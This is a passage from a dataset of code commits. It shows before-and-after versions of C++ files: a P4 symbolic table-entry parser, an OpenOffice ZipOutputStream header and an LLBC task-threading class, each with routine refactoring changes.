std::smatch sm;\n  if (std::regex_match(str, sm, number)) {\n    return std::atoi(str.c_str());\n  } else if (std::regex_match(str, sm, ip)) {\n  } else if (std::regex_match(str, sm, ip_range)) {\n  } else if (std::regex_match(str, sm, mac)) {\n  } else {\n    return absl::Status(absl::StatusCode::kInvalidArgument,\n                        absl::StrFormat(\"Malformed table entry value %s\", str));\n  }\n\n  return -1;\n}\n\npdpi::StatusOr<std::pair<std::string, TableEntry>> ParseLine(\n    const std::string &line) {\n  std::vector<std::string> tokens =\n      absl::StrSplit(line, ' ', absl::SkipWhitespace());\n  if (tokens.size() < 3) {\n    return absl::Status(\n        absl::StatusCode::kInvalidArgument,\n        absl::StrFormat(\"Malformed table entry, found %s\", line));\n  }\n  if (tokens[0] != \"table_add\") {\n    return absl::Status(\n        absl::StatusCode::kInvalidArgument,\n        absl::StrFormat(\"Malformed table entry command %s, found %s\", tokens[0],\n                        line));\n  }\n\n  \/\/ Parse table entries.\n  TableEntry output;\n  output.set_action(tokens[2]);\n  bool found_delimiter = false;  \/\/ true when \"=>\" is found.\n  for (size_t i = 3; i < tokens.size(); i++) {\n    if (tokens[i] == \"=>\") {\n      found_delimiter = true;\n      continue;\n    }\n\n    ASSIGN_OR_RETURN(int val, FormatBitStringAsHex(tokens[i]));\n    if (found_delimiter) {\n      output.add_action_parameters(val);\n    } else {\n      output.add_match_values(val);\n    }\n  }\n\n  return std::make_pair(tokens[1], output);\n}\n\npdpi::StatusOr<TableEntries> ParseAndFillEntries(const char *entries_path) {\n  ASSIGN_OR_RETURN(std::string file_content, util::ReadFile(entries_path));\n\n  \/\/ Skip empty lines or ones that only contain whitespace.\n  std::vector<std::string> lines =\n      absl::StrSplit(file_content, '\\n', absl::SkipWhitespace());\n\n  std::vector<std::pair<std::string, TableEntry>> output;\n  for (const std::string &line : lines) {\n    ASSIGN_OR_RETURN(auto entry, ParseLine(line));\n    output.push_back(entry);\n  }\n\n  return output;\n}\n\n}  \/\/ namespace ir\n}  \/\/ namespace p4_symbolic\n<commit_msg>simplify table_entries parsing to ints for now<commit_after>\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"p4_symbolic\/ir\/table_entries.h\"\n\n#include <iostream>\n#include <regex>\n#include <string>\n\n#include \"absl\/strings\/str_format.h\"\n#include \"absl\/strings\/str_split.h\"\n#include \"p4_symbolic\/util\/io.h\"\n\nnamespace p4_symbolic {\nnamespace ir {\n\npdpi::StatusOr<std::pair<std::string, TableEntry>> ParseLine(\n    const std::string &line) {\n  std::vector<std::string> tokens =\n      absl::StrSplit(line, ' ', absl::SkipWhitespace());\n  if (tokens.size() < 3) {\n    return absl::Status(\n        absl::StatusCode::kInvalidArgument,\n        absl::StrFormat(\"Malformed table entry, found %s\", line));\n  }\n  if (tokens[0] != \"table_add\") {\n    return absl::Status(\n        absl::StatusCode::kInvalidArgument,\n        absl::StrFormat(\"Malformed table entry command %s, found %s\", tokens[0],\n                        line));\n  }\n\n  \/\/ Parse table entries.\n  TableEntry output;\n  output.set_action(tokens[2]);\n  bool found_delimiter = false;  \/\/ true when \"=>\" is found.\n  for (size_t i = 3; i < tokens.size(); i++) {\n    if (tokens[i] == \"=>\") {\n      found_delimiter = true;\n      continue;\n    }\n\n    int val = std::atoi(tokens[i].c_str());\n    if (found_delimiter) {\n      output.add_action_parameters(val);\n    } else {\n      output.add_match_values(val);\n    }\n  }\n\n  return std::make_pair(tokens[1], output);\n}\n\npdpi::StatusOr<TableEntries> ParseAndFillEntries(const char *entries_path) {\n  ASSIGN_OR_RETURN(std::string file_content, util::ReadFile(entries_path));\n\n  \/\/ Skip empty lines or ones that only contain whitespace.\n  std::vector<std::string> lines =\n      absl::StrSplit(file_content, '\\n', absl::SkipWhitespace());\n\n  std::vector<std::pair<std::string, TableEntry>> output;\n  for (const std::string &line : lines) {\n    ASSIGN_OR_RETURN(auto entry, ParseLine(line));\n    output.push_back(entry);\n  }\n\n  return output;\n}\n\n}  \/\/ namespace ir\n}  \/\/ namespace p4_symbolic\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: ZipOutputStream.hxx,v $\n *\n *  $Revision: 1.13 $\n *\n *  last change: $Author: mtg $ $Date: 2001-04-27 14:56:05 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): Martin Gallwey (gallwey@sun.com)\n *\n *\n ************************************************************************\/\n#ifndef _ZIP_OUTPUT_STREAM_HXX\n#define _ZIP_OUTPUT_STREAM_HXX\n\n#ifndef _BYTE_CHUCKER_HXX_\n#include <ByteChucker.hxx>\n#endif\n#ifndef _DEFLATER_HXX\n#include <Deflater.hxx>\n#endif\n#ifndef _CRC32_HXX\n#include <CRC32.hxx>\n#endif\n#ifndef __SGI_STL_VECTOR\n#include <vector>\n#endif\n#ifndef _RTL_CIPHER_H_\n#include <rtl\/cipher.h>\n#endif\n#ifndef _COM_SUN_STAR_PACKAGES_ZIPENTRY_HPP_\n#include <com\/sun\/star\/packages\/ZipEntry.hpp>\n#endif\n#ifndef _VOS_REF_H_\n#include <vos\/ref.hxx>\n#endif\n\nclass EncryptionData;\nclass ZipOutputStream\n{\nprivate:\n    com::sun::star::uno::Reference < com::sun::star::io::XOutputStream > xStream;\n    ::std::vector < ::com::sun::star::packages::ZipEntry *>         aZipList;\n    com::sun::star::uno::Sequence < sal_Int8 > aBuffer;\n    com::sun::star::uno::Sequence < sal_Int8 > aEncryptionBuffer;\n    ::rtl::OUString     sComment;\n    Deflater            aDeflater;\n    rtlCipher           aCipher;\n    CRC32               aCRC;\n    ByteChucker         aChucker;\n    com::sun::star::packages::ZipEntry          *pCurrentEntry;\n    sal_Int16           nMethod;\n    sal_Int16           nLevel;\n    sal_Bool            bFinished;\n    sal_Bool            bEncryptCurrentEntry;\n\npublic:\n    ZipOutputStream( com::sun::star::uno::Reference < com::sun::star::io::XOutputStream > &xOStream, sal_Int32 nNewBufferSize);\n    ~ZipOutputStream(void);\n\n    void SAL_CALL setEncryptionKey ( com::sun::star::uno::Sequence < sal_Int8 > &rKey, com::sun::star::packages::ZipEntry & rEntry );\n    static com::sun::star::uno::Sequence < sal_Int8 > getInitialisationVector();\n    \/\/ rawWrite to support a direct write to the output stream\n    void SAL_CALL rawWrite( const ::com::sun::star::uno::Sequence< sal_Int8 >& rBuffer)\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL rawCloseEntry(  )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n\n    \/\/ XZipOutputStream interfaces\n    void SAL_CALL setComment( const ::rtl::OUString& rComment )\n        throw(::com::sun::star::uno::RuntimeException);\n    void SAL_CALL setMethod( sal_Int32 nNewMethod )\n        throw(::com::sun::star::uno::RuntimeException);\n    void SAL_CALL setLevel( sal_Int32 nNewLevel )\n        throw(::com::sun::star::uno::RuntimeException);\n    void SAL_CALL putNextEntry( ::com::sun::star::packages::ZipEntry& rEntry,\n            const vos::ORef < EncryptionData > &rData,\n            sal_Bool bEncrypt = sal_False )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL closeEntry(  )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL write( const ::com::sun::star::uno::Sequence< sal_Int8 >& rBuffer, sal_Int32 nNewOffset, sal_Int32 nNewLength )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL finish(  )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL close(  )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    static sal_uInt32 getCurrentDosTime ( );\nprotected:\n    void doDeflate();\n    void writeEND(sal_uInt32 nOffset, sal_uInt32 nLength)\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void writeCEN( const com::sun::star::packages::ZipEntry &rEntry )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void writeEXT( const com::sun::star::packages::ZipEntry &rEntry )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void writeLOC( const com::sun::star::packages::ZipEntry &rEntry )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n\n};\n\n#endif\n<commit_msg>remove unused methods and add nCurrentDataBegin member to track uncompressed stream size<commit_after>\/*************************************************************************\n *\n *  $RCSfile: ZipOutputStream.hxx,v $\n *\n *  $Revision: 1.14 $\n *\n *  last change: $Author: mtg $ $Date: 2001-05-08 13:49:54 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): Martin Gallwey (gallwey@sun.com)\n *\n *\n ************************************************************************\/\n#ifndef _ZIP_OUTPUT_STREAM_HXX\n#define _ZIP_OUTPUT_STREAM_HXX\n\n#ifndef _BYTE_CHUCKER_HXX_\n#include <ByteChucker.hxx>\n#endif\n#ifndef _DEFLATER_HXX\n#include <Deflater.hxx>\n#endif\n#ifndef _CRC32_HXX\n#include <CRC32.hxx>\n#endif\n#ifndef __SGI_STL_VECTOR\n#include <vector>\n#endif\n#ifndef _RTL_CIPHER_H_\n#include <rtl\/cipher.h>\n#endif\n#ifndef _COM_SUN_STAR_PACKAGES_ZIPENTRY_HPP_\n#include <com\/sun\/star\/packages\/ZipEntry.hpp>\n#endif\n#ifndef _VOS_REF_H_\n#include <vos\/ref.hxx>\n#endif\n\nclass EncryptionData;\nclass ZipOutputStream\n{\nprotected:\n    com::sun::star::uno::Reference < com::sun::star::io::XOutputStream > xStream;\n    ::std::vector < ::com::sun::star::packages::ZipEntry *>         aZipList;\n    com::sun::star::uno::Sequence < sal_Int8 > aBuffer;\n    com::sun::star::uno::Sequence < sal_Int8 > aEncryptionBuffer;\n    ::rtl::OUString     sComment;\n    Deflater            aDeflater;\n    rtlCipher           aCipher;\n    CRC32               aCRC;\n    ByteChucker         aChucker;\n    com::sun::star::packages::ZipEntry          *pCurrentEntry;\n    sal_Int16           nMethod;\n    sal_Int16           nLevel;\n    sal_Bool            bFinished;\n    sal_Bool            bEncryptCurrentEntry;\n    sal_Int32           nCurrentDataBegin;\n\npublic:\n    ZipOutputStream( com::sun::star::uno::Reference < com::sun::star::io::XOutputStream > &xOStream, sal_Int32 nNewBufferSize);\n    ~ZipOutputStream(void);\n\n    \/\/ rawWrite to support a direct write to the output stream\n    void SAL_CALL rawWrite( const ::com::sun::star::uno::Sequence< sal_Int8 >& rBuffer)\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL rawCloseEntry(  )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n\n    \/\/ XZipOutputStream interfaces\n    void SAL_CALL setComment( const ::rtl::OUString& rComment )\n        throw(::com::sun::star::uno::RuntimeException);\n    void SAL_CALL setMethod( sal_Int32 nNewMethod )\n        throw(::com::sun::star::uno::RuntimeException);\n    void SAL_CALL setLevel( sal_Int32 nNewLevel )\n        throw(::com::sun::star::uno::RuntimeException);\n    void SAL_CALL putNextEntry( ::com::sun::star::packages::ZipEntry& rEntry,\n            const vos::ORef < EncryptionData > &rData,\n            sal_Bool bEncrypt = sal_False )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL closeEntry(  )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL write( const ::com::sun::star::uno::Sequence< sal_Int8 >& rBuffer, sal_Int32 nNewOffset, sal_Int32 nNewLength )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL finish(  )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void SAL_CALL close(  )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    static sal_uInt32 getCurrentDosTime ( );\nprotected:\n    void doDeflate();\n    void writeEND(sal_uInt32 nOffset, sal_uInt32 nLength)\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void writeCEN( const com::sun::star::packages::ZipEntry &rEntry )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void writeEXT( const com::sun::star::packages::ZipEntry &rEntry )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    void writeLOC( const com::sun::star::packages::ZipEntry &rEntry )\n        throw(::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ The MIT License (MIT)\n\n\/\/ Copyright (c) 2013 lailongwei<lailongwei@126.com>\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of \n\/\/ this software and associated documentation files (the \"Software\"), to deal in \n\/\/ the Software without restriction, including without limitation the rights to \n\/\/ use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of \n\/\/ the Software, and to permit persons to whom the Software is furnished to do so, \n\/\/ subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in all \n\/\/ copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS \n\/\/ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR \n\/\/ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER \n\/\/ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN \n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\n#include \"llbc\/common\/Export.h\"\n\n#include \"llbc\/core\/os\/OS_Atomic.h\"\n\n#include \"llbc\/core\/thread\/MessageBlock.h\"\n#include \"llbc\/core\/thread\/ThreadManager.h\"\n#include \"llbc\/core\/thread\/Guard.h\"\n#include \"llbc\/core\/thread\/Task.h\"\n\n__LLBC_INTERNAL_NS_BEGIN\n\nint static __LLBC_BaseTaskEntry(void *arg)\n{\n    LLBC_NS LLBC_BaseTask *task = reinterpret_cast<LLBC_NS LLBC_BaseTask *>(arg);\n\n    LLBC_NS __LLBC_LibTls *tls = LLBC_NS __LLBC_GetLibTls();\n\n    tls->coreTls.task = task;\n\n    task->OnTaskThreadStart();\n    task->Svc();\n    task->OnTaskThreadStop();\n\n    tls->coreTls.task = nullptr;\n\n    return 0;\n}\n\n__LLBC_INTERNAL_NS_END\n\n__LLBC_NS_BEGIN\n\nLLBC_BaseTask::LLBC_BaseTask(LLBC_ThreadManager *threadMgr)\n: _threadNum(0)\n, _curThreadNum(0)\n, _startCompleted(false)\n, _threadManager(threadMgr ? threadMgr : LLBC_ThreadManagerSingleton)\n, _taskThreads(nullptr)\n{\n}\n\nLLBC_BaseTask::~LLBC_BaseTask()\n{\n    Wait();\n    LLBC_XFree(_taskThreads);\n}\n\nint LLBC_BaseTask::Activate(int threadNum,\n                            int flags,\n                            int priority,\n                            LLBC_Handle groupHandle,\n                            const int stackSize[])\n{\n    _lock.Lock();\n\n    LLBC_XFree(_taskThreads);\n    _taskThreads = LLBC_Calloc(LLBC_Handle, threadNum * sizeof(LLBC_Handle));\n    if (_threadManager->CreateThreads(threadNum,\n                                      &LLBC_INTERNAL_NS __LLBC_BaseTaskEntry,\n                                      this,\n                                      flags,\n                                      priority,\n                                      stackSize,\n                                      this,\n                                      groupHandle,\n                                      nullptr,\n                                      _taskThreads) == LLBC_INVALID_HANDLE)\n    {\n        LLBC_XFree(_taskThreads);\n        _lock.Unlock();\n\n        return LLBC_FAILED;\n    }\n\n    _threadNum = threadNum;\n\n    _lock.Unlock();\n\n    while (!_startCompleted)\n        LLBC_ThreadManager::Sleep(20);\n\n    return LLBC_OK;\n}\n\nbool LLBC_BaseTask::IsActivated() const\n{\n    LLBC_LockGuard guard(const_cast<LLBC_BaseTask *>(this)->_lock);\n    return _threadNum != 0;\n}\n\nint LLBC_BaseTask::GetThreadCount() const\n{\n    LLBC_BaseTask *ncThis = const_cast<LLBC_BaseTask *>(this);\n    LLBC_LockGuard guard(ncThis->_lock);\n\n    return _threadNum;\n}\n\nint LLBC_BaseTask::Wait()\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->WaitTask(this);\n}\n\nint LLBC_BaseTask::Suspend()\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->SuspendTask(this);\n}\n\nint LLBC_BaseTask::Resume()\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->ResumeTask(this);\n}\n\nint LLBC_BaseTask::Cancel()\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->CancelTask(this);\n}\n\nint LLBC_BaseTask::Kill(int signo)\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->KillTask(this, signo);\n}\n\nvoid LLBC_BaseTask::OnTaskThreadStart()\n{\n    LLBC_LockGuard guard(_lock);\n    if (++_curThreadNum == _threadNum)\n        _startCompleted = true;\n}\n\nvoid LLBC_BaseTask::OnTaskThreadStop()\n{\n    while (!_startCompleted)\n        LLBC_ThreadManager:: Sleep(20);\n\n    _lock.Lock();\n    if (--_curThreadNum == 0)\n    {\n        Cleanup();\n        InternalCleanup();\n\n        _lock.Unlock();\n\n        return;\n    }\n\n    _lock.Unlock();\n}\n\nvoid LLBC_BaseTask::InternalCleanup()\n{\n    if (_threadNum == 0)\n        return;\n\n    _threadNum = 0;\n    _curThreadNum = 0;\n    _startCompleted = false;\n\n    LLBC_XFree(_taskThreads);\n\n    _msgQueue.Cleanup();\n}\n\nvoid LLBC_BaseTask::GetTaskThreads(std::vector<LLBC_Handle> &taskThreads)\n{\n    if (!IsActivated())\n        return;\n\n    while (!_startCompleted)\n        LLBC_ThreadManager::Sleep(10);\n\n    LLBC_LockGuard guard(_lock);\n    for (int i = 0; i != _threadNum; ++i)\n        taskThreads.push_back(_taskThreads[i]);\n}\n\n__LLBC_NS_END\n<commit_msg>Task内部等待时间统一调整为1ms<commit_after>\/\/ The MIT License (MIT)\n\n\/\/ Copyright (c) 2013 lailongwei<lailongwei@126.com>\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of \n\/\/ this software and associated documentation files (the \"Software\"), to deal in \n\/\/ the Software without restriction, including without limitation the rights to \n\/\/ use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of \n\/\/ the Software, and to permit persons to whom the Software is furnished to do so, \n\/\/ subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in all \n\/\/ copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS \n\/\/ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR \n\/\/ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER \n\/\/ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN \n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\n#include \"llbc\/common\/Export.h\"\n\n#include \"llbc\/core\/os\/OS_Atomic.h\"\n\n#include \"llbc\/core\/thread\/MessageBlock.h\"\n#include \"llbc\/core\/thread\/ThreadManager.h\"\n#include \"llbc\/core\/thread\/Guard.h\"\n#include \"llbc\/core\/thread\/Task.h\"\n\n__LLBC_INTERNAL_NS_BEGIN\n\nint static __LLBC_BaseTaskEntry(void *arg)\n{\n    LLBC_NS LLBC_BaseTask *task = reinterpret_cast<LLBC_NS LLBC_BaseTask *>(arg);\n\n    LLBC_NS __LLBC_LibTls *tls = LLBC_NS __LLBC_GetLibTls();\n\n    tls->coreTls.task = task;\n\n    task->OnTaskThreadStart();\n    task->Svc();\n    task->OnTaskThreadStop();\n\n    tls->coreTls.task = nullptr;\n\n    return 0;\n}\n\n__LLBC_INTERNAL_NS_END\n\n__LLBC_NS_BEGIN\n\nLLBC_BaseTask::LLBC_BaseTask(LLBC_ThreadManager *threadMgr)\n: _threadNum(0)\n, _curThreadNum(0)\n, _startCompleted(false)\n, _threadManager(threadMgr ? threadMgr : LLBC_ThreadManagerSingleton)\n, _taskThreads(nullptr)\n{\n}\n\nLLBC_BaseTask::~LLBC_BaseTask()\n{\n    Wait();\n    LLBC_XFree(_taskThreads);\n}\n\nint LLBC_BaseTask::Activate(int threadNum,\n                            int flags,\n                            int priority,\n                            LLBC_Handle groupHandle,\n                            const int stackSize[])\n{\n    _lock.Lock();\n\n    LLBC_XFree(_taskThreads);\n    _taskThreads = LLBC_Calloc(LLBC_Handle, threadNum * sizeof(LLBC_Handle));\n    if (_threadManager->CreateThreads(threadNum,\n                                      &LLBC_INTERNAL_NS __LLBC_BaseTaskEntry,\n                                      this,\n                                      flags,\n                                      priority,\n                                      stackSize,\n                                      this,\n                                      groupHandle,\n                                      nullptr,\n                                      _taskThreads) == LLBC_INVALID_HANDLE)\n    {\n        LLBC_XFree(_taskThreads);\n        _lock.Unlock();\n\n        return LLBC_FAILED;\n    }\n\n    _threadNum = threadNum;\n\n    _lock.Unlock();\n\n    while (!_startCompleted)\n        LLBC_ThreadManager::Sleep(1);\n\n    return LLBC_OK;\n}\n\nbool LLBC_BaseTask::IsActivated() const\n{\n    LLBC_LockGuard guard(const_cast<LLBC_BaseTask *>(this)->_lock);\n    return _threadNum != 0;\n}\n\nint LLBC_BaseTask::GetThreadCount() const\n{\n    LLBC_BaseTask *ncThis = const_cast<LLBC_BaseTask *>(this);\n    LLBC_LockGuard guard(ncThis->_lock);\n\n    return _threadNum;\n}\n\nint LLBC_BaseTask::Wait()\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->WaitTask(this);\n}\n\nint LLBC_BaseTask::Suspend()\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->SuspendTask(this);\n}\n\nint LLBC_BaseTask::Resume()\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->ResumeTask(this);\n}\n\nint LLBC_BaseTask::Cancel()\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->CancelTask(this);\n}\n\nint LLBC_BaseTask::Kill(int signo)\n{\n    if (!IsActivated())\n    {\n        LLBC_SetLastError(LLBC_ERROR_NOT_INIT);\n        return LLBC_FAILED;\n    }\n\n    return _threadManager->KillTask(this, signo);\n}\n\nvoid LLBC_BaseTask::OnTaskThreadStart()\n{\n    LLBC_LockGuard guard(_lock);\n    if (++_curThreadNum == _threadNum)\n        _startCompleted = true;\n}\n\nvoid LLBC_BaseTask::OnTaskThreadStop()\n{\n    while (!_startCompleted)\n        LLBC_ThreadManager::Sleep(1);\n\n    _lock.Lock();\n    if (--_curThreadNum == 0)\n    {\n        Cleanup();\n        InternalCleanup();\n\n        _lock.Unlock();\n\n        return;\n    }\n\n    _lock.Unlock();\n}\n\nvoid LLBC_BaseTask::InternalCleanup()\n{\n    if (_threadNum == 0)\n        return;\n\n    _threadNum = 0;\n    _curThreadNum = 0;\n    _startCompleted = false;\n\n    LLBC_XFree(_taskThreads);\n\n    _msgQueue.Cleanup();\n}\n\nvoid LLBC_BaseTask::GetTaskThreads(std::vector<LLBC_Handle> &taskThreads)\n{\n    if (!IsActivated())\n        return;\n\n    while (!_startCompleted)\n        LLBC_ThreadManager::Sleep(1);\n\n    LLBC_LockGuard guard(_lock);\n    for (int i = 0; i != _threadNum; ++i)\n        taskThreads.push_back(_taskThreads[i]);\n}\n\n__LLBC_NS_END\n<|endoftext|>"}
